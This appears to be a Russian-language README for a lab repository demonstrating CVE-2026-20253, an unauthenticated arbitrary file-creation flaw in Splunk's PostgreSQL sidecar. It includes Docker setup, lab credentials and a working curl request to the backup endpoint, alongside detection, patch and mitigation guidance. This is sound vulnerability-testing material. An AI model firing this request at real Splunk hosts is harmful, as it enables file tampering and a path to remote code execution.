
POC для CVE-2026-20253
Создание и усечение произвольных файлов без аутентификации через сайдкар PostgreSQL
CVSS 9.8 · Критическая · CWE-306 · Активно эксплуатируется (CISA KEV)
Этот репозиторий предназначен строго для образовательных целей и авторизованных исследований безопасности.
Все тестирование должно проводиться только против инфраструктуры, которой вы владеете или на тестирование которой имеете явное письменное разрешение.
Авторы не несут ответственности за неправомерное использование продемонстрированных здесь методик или инструментов.
Никогда не запускайте это против производственных систем или сред, которыми вы не владеете.
CVE-2026-20253 затрагивает Splunk Enterprise версий ниже 10.2.4 и 10.0.7.
Служба-сайдкар PostgreSQL, поставляемая в комплекте со Splunk, предоставляет две внутренние конечные точки HTTP:
/v1/postgres/recovery/backup
/v1/postgres/recovery/restore
Обе конечные точки не имеют никакой проверки аутентификации (CWE-306), то есть любой злоумышленник с сетевым доступом может вызывать их без учётных данных. Передавая управляемый атакующим параметр backupFile, неаутентифицированный пользователь может создавать или усекать произвольные файлы в файловой системе хоста Splunk — примитив, который исследователи превратили в полноценное удалённое выполнение кода до аутентификации (Pre-Auth RCE).
| Свойство | Описание |
|---|---|
| CVE | CVE-2026-20253 |
| Оценка CVSS | 9.8 (критическая) |
| CWE | CWE-306 — Отсутствие аутентификации для критически важной функции |
| Затронутые версии | Splunk Enterprise 10.0.x < 10.0.7, 10.2.x < 10.2.4 |
| Исправлено в | 10.0.7, 10.2.4 |
| CISA KEV | Добавлено 18 июня 2026 г. |
.
├── Dockerfile # Vulnerable image (splunk 10.2.3)
├── docker-compose.yml # Vulnerable container on port 8000
├── patched.Dockerfile # Patched image (splunk 10.2.4)
├── patched-docker-compose.yml # Patched container on port 8001
└── instructions # Quick command reference
curldocker compose -f docker-compose.yml up -d --build
Подождите ~90 секунд, пока Splunk полностью инициализируется. Следите за ходом с помощью:
docker compose -f docker-compose.yml logs -f
# Ready when you see: "Ansible playbook complete"
Веб-интерфейс Splunk → http://localhost:8000
Учётные данные: admin / changeme
docker compose -f patched-docker-compose.yml up -d --build
Веб-интерфейс Splunk → http://localhost:8001
Учётные данные: admin / changeme
Оба контейнера могут работать одновременно — порты разнесены, чтобы избежать конфликтов.
curl -sk -X POST "http://localhost:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup" -H "Authorization: Basic cHNzZWM6Cg==" -d '{"database":"postgres","backupFile":"/tmp/poc"}' -o /dev/null -w "HTTP Status: %{http_code}\n"
Ожидается: 400 — конечная точка существует, аутентификация не применялась, запрос был обработан.
Проверьте, что файл был создан внутри контейнера:
docker exec splunk-cve-2026-20253 ls -la /tmp/poc
curl -sk -X POST "http://localhost:8001/en-US/splunkd/__raw/v1/postgres/recovery/backup" -H "Authorization: Basic cHNzZWM6Cg==" -d '{"database":"postgres","backupFile":"/tmp/poc"}' -o /dev/null -w "HTTP Status: %{http_code}\n"
Ожидается: 401 — теперь аутентификация обязательна, запрос отклонён.
| HTTP-статус | Значение |
|---|---|
400 | Уязвим — конечная точка доступна, проверки аутентификации нет |
401 | Исправлен — аутентификация обязательна |
404 | Сайдкар отсутствует / неверный путь |
000 | Контейнер ещё не готов |
Команда watchTowr Labs опубликовала скрипт обнаружения, который автоматизирует описанную выше проверку:
git clone https://github.com/watchtowrlabs/watchTowr-vs-Splunk-CVE-2026-20253
cd watchTowr-vs-Splunk-CVE-2026-20253
pip3 install requests
python3 watchTowr-vs-Splunk-CVE-2026-20253.py --host 127.0.0.1 --port 8000
# Stop vulnerable
docker compose -f docker-compose.yml down
# Stop patched
docker compose -f patched-docker-compose.yml down
Немедленно обновитесь до исправленной версии:
| Ветка | Исправленная версия |
|---|---|
| 10.2.x | 10.2.4 |
| 10.0.x | 10.0.7 |
Если вы не можете установить исправление немедленно, отключите сайдкар PostgreSQL, добавив следующее в server.conf, и перезапустите Splunk:
[postgres]
disabled = true
⚠️ Не отключайте сайдкар, если вы используете Edge Processor или конвейеры данных SPL2 — он необходим для этих функций.
Данная лабораторная среда предоставляется только для оборонительных исследований в области безопасности и образовательных целей.
Несанкционированный доступ к компьютерным системам является незаконным согласно Закону о компьютерном мошенничестве и злоупотреблениях (CFAA), Закону Великобритании о неправомерном использовании компьютеров (Computer Misuse Act) и аналогичному законодательству по всему миру.
Используйте ответственно.